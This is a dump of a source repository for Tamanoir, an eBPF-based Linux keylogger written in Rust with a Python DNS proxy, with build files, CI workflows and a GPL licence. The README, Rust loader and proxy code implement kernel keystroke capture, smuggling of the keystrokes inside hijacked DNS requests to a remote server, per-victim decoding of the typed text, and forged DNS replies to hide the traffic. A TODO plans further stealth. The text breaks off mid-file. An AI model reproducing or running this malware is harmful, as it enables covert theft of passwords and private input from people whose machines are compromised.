[ { "path": ".github/FUNDING.yml", "content": "github: pythops\n" }, { "path": ".github/workflows/ci.yaml", "content": "---\nname: CI\non:\n pull_request:\n push:\n branches:\n - \"*\"\njobs:\n test:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v4\n - uses: taiki-e/install-action@just\n - uses: cargo-bins/cargo-binstall@main\n - uses: dtolnay/rust-toolchain@stable\n with:\n toolchain: nightly\n components: clippy rustfmt\n\n - run: cargo binstall -y bpf-linker\n\n - name: Build\n run: just build\n\n - name: Linting\n run: |\n cargo clippy --workspace --all-features -- -D warnings\n cargo fmt --all -- --check\n" }, { "path": ".github/workflows/release.yaml", "content": "---\nname: Release\non:\n push:\n tags:\n - \"*\"\njobs:\n build:\n permissions:\n contents: write\n continue-on-error: false\n runs-on: ubuntu-latest\n steps:\n - name: Checkout\n uses: actions/checkout@v4\n\n - uses: taiki-e/install-action@just\n\n - uses: cargo-bins/cargo-binstall@main\n\n - uses: dtolnay/rust-toolchain@stable\n with:\n toolchain: nightly\n components: clippy rustfmt\n\n - name: Install the dependencies\n run: |\n sudo apt update\n sudo apt install -y podman binutils-aarch64-linux-gnu musl-tools\n cargo binstall -y cross\n cargo binstall -y bpf-linker\n\n - name: Build tamanoir-ebpf\n run: just build-ebpf\n\n - name: Build for arm64 musl\n run: |\n CROSS_CONTAINER_ENGINE=podman cross build --target aarch64-unknown-linux-musl --release\n cp target/aarch64-unknown-linux-musl/release/tamanoir tamanoir-aarch64-unknown-linux-musl\n\n - name: Build for x86_64 musl\n run: |\n CROSS_CONTAINER_ENGINE=podman cross build --target x86_64-unknown-linux-musl --release\n cp target/x86_64-unknown-linux-musl/release/tamanoir tamanoir-x86_64-unknown-linux-musl\n\n - name: Upload Binary\n uses: softprops/action-gh-release@v2\n with:\n files: \"tamanoir*\"\n body: |\n [Release.md](${{ github.server_url }}/${{ github.repository }}/blob/main/Release.md)\n" }, { "path": ".gitignore", "content": "### https://raw.github.com/github/gitignore/master/Rust.gitignore\n\n# Generated by Cargo\n# will have compiled files and executables\ndebug/\ntarget/\n\n# These are backup files generated by rustfmt\n**/*.rs.bk\n\nCargo.lock" }, { "path": "Cargo.toml", "content": "[workspace]\nresolver = \"2\"\nmembers = [\"tamanoir\", \"tamanoir-ebpf\"]\ndefault-members = [\"tamanoir\"]\n\n[workspace.dependencies]\naya = { version = \"0.13\", default-features = false }\naya-ebpf = { version = \"0.1\", default-features = false }\naya-log = { version = \"0.2\", default-features = false }\naya-log-ebpf = { version = \"0.1\", default-features = false }\nanyhow = { version = \"1\", default-features = false }\nenv_logger = { version = \"0.11\", default-features = false }\nlibc = { version = \"0.2\", default-features = false }\nlog = { version = \"0.4\", default-features = false }\ntokio = { version = \"1\", default-features = false }\n\n[profile.dev]\npanic = \"abort\"\n\n[profile.release]\npanic = \"abort\"\n\n" }, { "path": "Justfile", "content": "set export\n_default:\n @just --list\n\n# Build ebpf\nbuild-ebpf:\n cd tamanoir-ebpf && cargo build --release\n\n# Build\nbuild:\n just build-ebpf\n cargo build --release\n\n# Run\nrun proxy_ip hijack_ip=\"8.8.8.8\" layout=\"1\" log_level=\"info\":\n RUST_LOG={{log_level}} sudo -E target/release/tamanoir --proxy-ip {{proxy_ip}} --hijack-ip {{hijack_ip}} --layout {{layout}}\n\n# Run the proxy\nproxy c_manager=\"docker\":\n cd proxy && \\\n {{c_manager}} build -t proxy . &&\\\n {{c_manager}} run --rm -it -p 53:53/udp -e PAYLOAD_LEN=8 proxy\n" }, { "path": "LICENSE", "content": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. \n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n Preamble\n\n The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works. By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users. We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors. You can apply it to\nyour programs, too.\n\n When we speak of free software, we are referring to freedom, not\nprice. Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights. 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To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients. \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License. You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n 12. No Surrender of Others' Freedom.\n\n If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all. For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n 13. Use with the GNU Affero General Public License.\n\n Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work. The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n 14. Revised Versions of this License.\n\n The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time. Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n Each version is given a distinguishing version number. If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation. If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n Later license versions may give you additional or different\npermissions. However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n 15. Disclaimer of Warranty.\n\n THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n 16. Limitation of Liability.\n\n IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n 17. Interpretation of Sections 15 and 16.\n\n If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n END OF TERMS AND CONDITIONS\n\n How to Apply These Terms to Your New Programs\n\n If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n To do so, attach the following notices to the program. It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n \n Copyright (C) \n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\nAlso add information on how to contact you by electronic and paper mail.\n\n If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n Copyright (C) \n This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n This is free software, and you are welcome to redistribute it\n under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License. Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n.\n\n The GNU General Public License does not permit incorporating your program\ninto proprietary programs. If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library. If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License. But first, please read\n.\n" }, { "path": "README.md", "content": "
\n

Tamanoir
A KeyLogger using eBPF 🐝

\n \n

\n \n A large anteater of Central and South America, Myrmecophaga tridactyla\n \n

\n
\n\n## 💡Overview\n\n
\n \n
\n\n1. Capture keystrokes and store them in a queue in the kernel.\n2. Intercept DNS requests and inject the captured keystroes in the DNS payload then redirect the request designated remote server acting as a DNS proxy.\n3. On the remote server, extract the keys from the DNS payload and send a valid DNS response.\n4. Intercept the response and modify its source address so the initial request will complete successfully.\n\n
\n\n## 🚀 Setup\n\nYou need a Linux based OS.\n\n### ⚒️ Build from source\n\nTo build from source, make sure you have:\n\n- [bpf-linker](https://github.com/aya-rs/bpf-linker) installed.\n- [Rust](https://www.rust-lang.org/tools/install) installed with `nightly` toolchain.\n\n#### 1. Build ebpf program\n\n```\ncd tamanoir-ebpf\ncargo build --release\n```\n\n#### 2. Build user space program\n\n```\ncargo build --release\n```\n\nThis will produce an executable file at `target/release/tamanoir` that you can copy to a directory in your `$PATH`\n\n### 📥 Binary release\n\nYou can download the pre-built binaries from the [release page](https://github.com/pythops/tamanoir/releases)\n\n
\n\n## 🪄 Usage\n\n### Tamanoir\n\n```\nRUST_LOG=info sudo -E tamanoir \\\n --proxy-ip \\\n --hijack-ip \\\n --layout \\\n --iface \n```\n\nfor example:\n\n```\nRUST_LOG=info sudo -E tamanoir \\\n --proxy-ip 192.168.1.75 \\\n --hijack-ip 8.8.8.8 \\\n --layout 0 \\\n --iface wlan0\n```\n\nCurrenly, there are two supported keyboard layouts:\n\n`0` : qwerty (us)\n\n`1` : azerty (fr)\n\n
\n\n### DNS Proxy\n\nOn a remote host, make sure you have [docker](https://docs.docker.com/engine/install/) installed.\n\n#### 1. Build proxy image\n\n```\ncd proxy\ndocker build -t proxy .\n```\n\n#### 2. Run proxy\n\n> [!NOTE]\n> Make sure port 53 is available\n\n```\ndocker run --rm -it -p 53:53/udp -e PAYLOAD_LEN=8 proxy\n```\n\n
\n\n## 🛠️TODO\n\n- [ ] Automatic discovery of the configured local dns server\n- [ ] Automatic discovery of the keyboard layout\n- [ ] Rewrite the DNS proxy in Rust\n- [ ] Make `Tamanoir` stealth (hide used ebpf maps and programs, process pid ...)\n\n
\n\n## ⚠️ Disclaimer\n\n`Tamanoir` is developed for educational purposes only\n\n
\n\n## ✍️ Authors\n\n[Badr Badri](https://github.com/pythops)\n\n[Adrien Gaultier](https://github.com/adgaultier)\n\n
\n\n## ⚖️ License\n\nGPLv3\n" }, { "path": "Release.md", "content": "## v0.1 - 2024-12-02\n\nFirst release 🎉\n" }, { "path": "proxy/Dockerfile", "content": "FROM python:3.12-alpine\nRUN pip install dnslib PyYAML\nCOPY . .\nENTRYPOINT [ \"python\" ,\"main.py\" ]\n" }, { "path": "proxy/azerty.yml", "content": "keys:\n 1: \"󱊷 \"\n 2: \"&\"\n 3: é\n 4: '\"'\n 5: \"'\"\n 6: (\n 7: \"-\"\n 8: è\n 9: _\n 10: ç\n 11: à\n 12: )\n 13: \"=\"\n 14: \"󰁮 \"\n 15: \" \"\n 16: a\n 17: z\n 18: e\n 19: r\n 20: t\n 21: \"y\"\n 22: u\n 23: i\n 24: o\n 25: p\n 26: \"^\"\n 27: $\n 28: \" enter \"\n 29: \" LCtrl+\"\n 30: q\n 31: s\n 32: d\n 33: f\n 34: g\n 35: h\n 36: j\n 37: k\n 38: l\n 39: m\n 40: ù\n 41: ²\n 42: \" Left󰘶+\"\n 43: \"*\"\n 44: w\n 45: x\n 46: c\n 47: v\n 48: b\n 49: \"n\"\n 50: \",\"\n 51: \";\"\n 52: \":\"\n 53: \"!\"\n 54: \" Right󰘶+\"\n 55: \"*\"\n 56: \" Alt+\"\n 57: \" \"\n 58: \" CapsLock \"\n 59: F1\n 60: F2\n 61: F3\n 62: F4\n 63: F5\n 64: F6\n 65: F7\n 66: F8\n 67: F9\n 68: F10\n 69: \" NumLock \"\n 86: \"<\"\n 100: \"Altgr+\"\n\nmod:\n 42:\n 50: \"?\"\n 51: \".\"\n 52: \"/\"\n 53: \"§\"\n 40: \"%\"\n 43: \"µ\"\n 26: \"¨\"\n 27: \"£\"\n 86: \">\"\n 2: \"1\"\n 3: \"2\"\n 4: \"3\"\n 5: \"4\"\n 6: \"5\"\n 7: \"6\"\n 8: \"7\"\n 9: \"8\"\n 10: \"9\"\n 11: \"0\"\n 12: \"°\"\n 13: \"+\"\n 16: A\n 17: Z\n 18: E\n 19: R\n 20: T\n 21: \"Y\"\n 22: U\n 23: I\n 24: O\n 25: P\n 30: Q\n 31: S\n 32: D\n 33: F\n 34: G\n 35: H\n 36: J\n 37: K\n 38: L\n 39: M\n 44: W\n 45: X\n 46: C\n 47: V\n 48: B\n 49: \"N\"\n 54:\n 50: \"?\"\n 51: \".\"\n 52: \"/\"\n 53: \"§\"\n 40: \"%\"\n 43: \"µ\"\n 26: \"¨\"\n 27: \"£\"\n 86: \">\"\n 2: \"1\"\n 3: \"2\"\n 4: \"3\"\n 5: \"4\"\n 6: \"5\"\n 7: \"6\"\n 8: \"7\"\n 9: \"8\"\n 10: \"9\"\n 11: \"0\"\n 12: \"°\"\n 13: \"+\"\n 16: A\n 17: Z\n 18: E\n 19: R\n 20: T\n 21: \"Y\"\n 22: U\n 23: I\n 24: O\n 25: P\n 30: Q\n 31: S\n 32: D\n 33: F\n 34: G\n 35: H\n 36: J\n 37: K\n 38: L\n 39: M\n 44: W\n 45: X\n 46: C\n 47: V\n 48: B\n 49: \"N\"\n 100:\n 3: \"~\"\n 4: \"#\"\n 5: \"{\"\n 6: \"[\"\n 7: \"|\"\n 8: \"`\"\n 9: \"\\\\\"\n 10: \"^\"\n 11: \"@\"\n 12: \"]\"\n 13: \"}\"\n 18: €\n" }, { "path": "proxy/main.py", "content": "import argparse\nimport os\nimport socket\nimport time\n\nimport yaml\nfrom dnslib import QTYPE, RCODE, DNSRecord\nfrom dnslib.server import BaseResolver, DNSHandler, DNSLogger, DNSServer\n\nqw_key_map = yaml.safe_load(open(\"qwerty.yml\"))\naz_key_map = yaml.safe_load(open(\"azerty.yml\"))\nkey_maps = {0: qw_key_map, 1: az_key_map}\n\nmods_str_rep = {\n k: {v[\"keys\"][mod]: mod for mod in v[\"mod\"]} for k, v in key_maps.items()\n}\nkeys = {}\nPAYLOAD_LEN = int(os.environ[\"PAYLOAD_LEN\"])\n\n\nclass ProxyResolver(BaseResolver):\n def __init__(self, address, port, timeout=0, strip_aaaa=False):\n self.address = address\n self.port = port\n self.timeout = timeout\n self.strip_aaaa = strip_aaaa\n\n def resolve(self, request, handler):\n try:\n if self.strip_aaaa and request.q.qtype == QTYPE.AAAA:\n reply = request.reply()\n reply.header.rcode = RCODE.NXDOMAIN\n else:\n if handler.protocol == \"udp\":\n proxy_r = request.send(\n self.address, self.port, timeout=self.timeout\n )\n else:\n proxy_r = request.send(\n self.address, self.port, tcp=True, timeout=self.timeout\n )\n reply = DNSRecord.parse(proxy_r)\n except socket.timeout:\n reply = request.reply()\n reply.header.rcode = getattr(RCODE, \"NXDOMAIN\")\n\n return reply\n\n\nclass PassthroughDNSHandler(DNSHandler):\n def get_reply(self, data):\n host, port = self.server.resolver.address, self.server.resolver.port\n client_ip = str(self.client_address[0])\n if not keys.get(client_ip):\n keys[client_ip] = []\n\n try:\n payload = data[-PAYLOAD_LEN:]\n key_events = zip(payload[::2], payload[1::2])\n for layout, code in key_events:\n if key_map := key_maps.get(layout):\n if (\n len(keys[client_ip]) > 0\n and keys[client_ip][-1] in mods_str_rep[layout]\n ):\n last_mod_str = keys[client_ip].pop()\n mod = mods_str_rep[layout][last_mod_str]\n keys[client_ip].append(\n key_map[\"mod\"][mod].get(\n code, f\"{last_mod_str} {key_map['keys'].get(code, '')} \"\n )\n )\n else:\n keys[client_ip].append(key_map[\"keys\"].get(code, \"\"))\n\n res = {}\n for client_ip, k in keys.items():\n res[client_ip] = \"\".join(k)\n os.system(\"clear\")\n for c, k in res.items():\n print(f\"{c}: {k}\")\n\n except Exception as e:\n print(e)\n pass\n\n data = bytearray(data[:-PAYLOAD_LEN])\n # add recursion byte\n data[2:4] = bytes.fromhex(\"0120\")\n\n request = DNSRecord.parse(bytes(data))\n self.server.logger.log_request(self, request)\n response = send_udp(data, host, port)\n reply = DNSRecord.parse(response)\n self.server.logger.log_reply(self, reply)\n return response\n\n\ndef send_udp(data, host, port):\n sock = None\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.sendto(data, (host, port))\n response, _ = sock.recvfrom(8192)\n return response\n finally:\n if sock is not None:\n sock.close()\n\n\nif __name__ == \"__main__\":\n p = argparse.ArgumentParser(description=\"DNS Proxy\")\n p.add_argument(\n \"--port\",\n \"-p\",\n type=int,\n default=53,\n metavar=\"\",\n help=\"Local proxy port (default:53)\",\n )\n p.add_argument(\n \"--address\",\n \"-a\",\n default=\"\",\n metavar=\"
\",\n help=\"Local proxy listen address (default:all)\",\n )\n p.add_argument(\n \"--upstream\",\n \"-u\",\n default=\"8.8.8.8:53\",\n metavar=\"\",\n help=\"Upstream DNS server:port (default:8.8.8.8:53)\",\n )\n\n p.add_argument(\n \"--log\",\n default=\"error\",\n help=\"Log hooks to enable (default: +error)\",\n )\n\n args = p.parse_args()\n\n dns, _, dns_port = args.upstream.partition(\":\")\n dns_port = int(dns_port or 53)\n\n print(\n \"Starting Proxy Resolver (%s:%d -> %s:%d) [%s]\"\n % (\n args.address or \"*\",\n args.port,\n dns,\n dns_port,\n \"UDP\",\n )\n )\n\n udp_server = DNSServer(\n ProxyResolver(dns, dns_port, timeout=5, strip_aaaa=False),\n port=args.port,\n address=args.address,\n logger=DNSLogger(args.log, prefix=True),\n handler=PassthroughDNSHandler,\n )\n udp_server.start()\n\n while udp_server.isAlive():\n time.sleep(1)\n" }, { "path": "proxy/qwerty.yml", "content": "keys:\n 2: \"1\"\n 3: \"2\"\n 4: \"3\"\n 5: \"4\"\n 6: \"5\"\n 7: \"6\"\n 8: \"7\"\n 9: \"8\"\n 10: \"9\"\n 11: \"0\"\n 30: \"a\"\n 48: \"b\"\n 46: \"c\"\n 32: \"d\"\n 18: \"e\"\n 33: \"f\"\n 34: \"g\"\n 35: \"h\"\n 23: \"i\"\n 36: \"j\"\n 37: \"k\"\n 38: \"l\"\n 50: \"m\"\n 49: \"n\"\n 24: \"o\"\n 25: \"p\"\n 16: \"q\"\n 19: \"r\"\n 31: \"s\"\n 20: \"t\"\n 22: \"u\"\n 47: \"v\"\n 17: \"w\"\n 45: \"x\"\n 21: \"y\"\n 44: \"z\"\n 1: \"󱊷 \"\n 15: \" \"\n 12: \"-\"\n 13: \"=\"\n 14: \"󰁮 \"\n 26: \"[\"\n 27: \"]\"\n 28: \" enter \"\n 29: \" LCtrl+\"\n 39: \";\"\n 40: \"'\"\n 41: \"`\"\n 42: \"Left󰘶+\"\n 43: \"\\\\\"\n 51: \",\"\n 52: \".\"\n 53: \"/\"\n 54: \" Right󰘶+\"\n 55: \"*\"\n 56: \" Alt+\"\n 57: \" \"\n 58: \" CapsLock \"\n 69: \" NumLock \"\n 86: \"<\"\n 100: \" Altgr+\"\nmod:\n 42:\n 30: \"A\"\n 48: \"B\"\n 46: \"C\"\n 32: \"D\"\n 18: \"E\"\n 33: \"F\"\n 34: \"G\"\n 35: \"H\"\n 23: \"I\"\n 36: \"J\"\n 37: \"K\"\n 38: \"L\"\n 50: \"M\"\n 49: \"N\"\n 24: \"O\"\n 25: \"P\"\n 16: \"Q\"\n 19: \"R\"\n 31: \"S\"\n 20: \"T\"\n 22: \"Y\"\n 47: \"V\"\n 17: \"W\"\n 45: \"X\"\n 21: \"Y\"\n 44: \"Z\"\n 41: \"~\"\n 2: \"!\"\n 3: \"@\"\n 4: \"#\"\n 5: \"$\"\n 6: \"%\"\n 7: \"^\"\n 8: \"&\"\n 9: \"*\"\n 10: \"(\"\n 11: \")\"\n 12: \"_\"\n 13: \"+\"\n 26: \"{\"\n 27: \"}\"\n 51: \"<\"\n 52: \">\"\n 53: \"?\"\n 39: \":\"\n 40: '\"'\n 43: \"|\"\n 54:\n 30: \"A\"\n 48: \"B\"\n 46: \"C\"\n 32: \"D\"\n 18: \"E\"\n 33: \"F\"\n 34: \"G\"\n 35: \"H\"\n 23: \"I\"\n 36: \"J\"\n 37: \"K\"\n 38: \"L\"\n 50: \"M\"\n 49: \"N\"\n 24: \"O\"\n 25: \"P\"\n 16: \"Q\"\n 19: \"R\"\n 31: \"S\"\n 20: \"T\"\n 22: \"Y\"\n 47: \"V\"\n 17: \"W\"\n 45: \"X\"\n 21: \"Y\"\n 44: \"Z\"\n 41: \"~\"\n 2: \"!\"\n 3: \"@\"\n 4: \"#\"\n 5: \"$\"\n 6: \"%\"\n 7: \"^\"\n 8: \"&\"\n 9: \"*\"\n 10: \"(\"\n 11: \")\"\n 12: \"_\"\n 13: \"+\"\n 26: \"{\"\n 27: \"}\"\n 51: \"<\"\n 52: \">\"\n 53: \"?\"\n 39: \":\"\n 40: '\"'\n 43: \"|\"\n" }, { "path": "rustfmt.toml", "content": "group_imports = \"StdExternalCrate\"\nimports_granularity = \"Crate\"\nreorder_imports = true\nunstable_features = true\n" }, { "path": "tamanoir/Cargo.toml", "content": "[package]\nname = \"tamanoir\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nclap = { version = \"4\", default-features = true, features = [\n \"derive\",\n \"cargo\",\n] }\nanyhow = \"1\"\naya = { workspace = true }\naya-log = { workspace = true }\nenv_logger = { workspace = true }\nlibc = { workspace = true }\nlog = { workspace = true }\ntokio = { workspace = true, features = [\n \"macros\",\n \"rt\",\n \"rt-multi-thread\",\n \"net\",\n \"signal\",\n] }\n\n[[bin]]\nname = \"tamanoir\"\npath = \"src/main.rs\"\n" }, { "path": "tamanoir/src/main.rs", "content": "use std::net::Ipv4Addr;\n\nuse aya::{\n programs::{tc, KProbe, SchedClassifier, TcAttachType},\n EbpfLoader,\n};\nuse clap::Parser;\nuse log::{debug, warn};\nuse tokio::signal;\n\n#[derive(Debug, Parser)]\nstruct Opt {\n #[clap(short, long, default_value = \"wlan0\")]\n iface: String,\n\n #[clap(long, required = true)]\n proxy_ip: Ipv4Addr,\n\n #[clap(long, required = true)]\n hijack_ip: Ipv4Addr,\n\n #[clap(long, default_value_t = 0)]\n layout: u8,\n}\n\n#[tokio::main]\nasync fn main() -> anyhow::Result<()> {\n env_logger::init();\n\n let Opt {\n iface,\n proxy_ip,\n hijack_ip,\n layout,\n } = Opt::parse();\n\n let rlim = libc::rlimit {\n rlim_cur: libc::RLIM_INFINITY,\n rlim_max: libc::RLIM_INFINITY,\n };\n let ret = unsafe { libc::setrlimit(libc::RLIMIT_MEMLOCK, &rlim) };\n if ret != 0 {\n debug!(\"remove limit on locked memory failed, ret is: {}\", ret);\n }\n\n let proxy_ip = proxy_ip.to_bits();\n let hijack_ip = hijack_ip.to_bits();\n\n let mut ebpf = EbpfLoader::new()\n .set_global(\"TARGET_IP\", &proxy_ip, true)\n .set_global(\"HIJACK_IP\", &hijack_ip, true)\n .set_global(\"KEYBOARD_LAYOUT\", &layout, true)\n .load(aya::include_bytes_aligned!(\n \"../../target/bpfel-unknown-none/release/tamanoir\"\n ))?;\n\n if let Err(e) = aya_log::EbpfLogger::init(&mut ebpf) {\n warn!(\"failed to initialize eBPF logger: {}\", e);\n }\n\n let _ = tc::qdisc_add_clsact(&iface);\n\n let tc_program_egress: &mut SchedClassifier =\n ebpf.program_mut(\"tamanoir_egress\").unwrap().try_into()?;\n\n tc_program_egress.load()?;\n tc_program_egress.attach(&iface, TcAttachType::Egress)?;\n\n let tc_program_ingress: &mut SchedClassifier =\n ebpf.program_mut(\"tamanoir_ingress\").unwrap().try_into()?;\n\n tc_program_ingress.load().unwrap();\n tc_program_ingress.attach(&iface, TcAttachType::Ingress)?;\n\n let program: &mut KProbe = ebpf.program_mut(\"tamanoir_kprobe\").unwrap().try_into()?;\n program.load()?;\n program.attach(\"input_handle_event\", 0)?;\n\n let ctrl_c = signal::ctrl_c();\n println!(\"Waiting for Ctrl-C...\");\n ctrl_c.await?;\n println!(\"Exiting...\");\n\n Ok(())\n}\n" }, { "path": "tamanoir-ebpf/.cargo/config.toml", "content": "[build]\ntarget = [\"bpfeb-unknown-none\", \"bpfel-unknown-none\"]\n\n[unstable]\nbuild-std = [\"core\"]\n" }, { "path": "tamanoir-ebpf/Cargo.toml", "content": "[package]\nname = \"tamanoir-ebpf\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\naya-ebpf = { workspace = true }\naya-log-ebpf = { workspace = true }\nnetwork-types = \"*\"\nflex-dns = \"1.0.1\"\n\n[[bin]]\nname = \"tamanoir\"\npath = \"src/main.rs\"\n" }, { "path": "tamanoir-ebpf/rust-toolchain.toml", "content": "[toolchain]\nchannel = \"nightly\"\ncomponents = [\"rust-src\"]\n" }, { "path": "tamanoir-ebpf/src/common.rs", "content": "use aya_ebpf::{\n helpers::{bpf_skb_load_bytes, bpf_skb_store_bytes},\n macros::map,\n maps::Queue,\n programs::TcContext,\n};\nuse aya_log_ebpf::{debug, error, info};\nuse network_types::{eth::EthHdr, ip::Ipv4Hdr};\n\n#[no_mangle]\npub static TARGET_IP: u32 = 0;\n\n#[no_mangle]\npub static HIJACK_IP: u32 = 0;\n\n#[no_mangle]\npub static KEYBOARD_LAYOUT: u8 = 0;\n\npub const IP_OFFSET: usize = EthHdr::LEN;\npub const IP_TOT_LEN_OFFSET: usize = IP_OFFSET + 2;\npub const IP_CSUM_OFFSET: usize = IP_OFFSET + 10;\npub const IP_SRC_ADDR_OFFSET: usize = IP_OFFSET + 12;\npub const IP_DEST_ADDR_OFFSET: usize = IP_OFFSET + 16;\npub const UDP_OFFSET: usize = IP_OFFSET + Ipv4Hdr::LEN;\npub const UDP_DEST_PORT_OFFSET: usize = UDP_OFFSET + 2;\npub const UDP_LEN_OFFSET: usize = UDP_OFFSET + 4;\npub const UDP_CSUM_OFFSET: usize = UDP_OFFSET + 6;\npub const DNS_QUERY_OFFSET: usize = UDP_OFFSET + 8;\n\npub const BPF_ADJ_ROOM_NET: u32 = 0;\n\npub const KEYS_EVENTS_LEN: usize = 4;\npub const KEYS_PAYLOAD_LEN: usize = 2 * KEYS_EVENTS_LEN;\npub const DNS_PAYLOAD_MAX_LEN: usize = 128;\n\n//TODO: define keyboard layout as enum\n#[derive(Default, Copy, 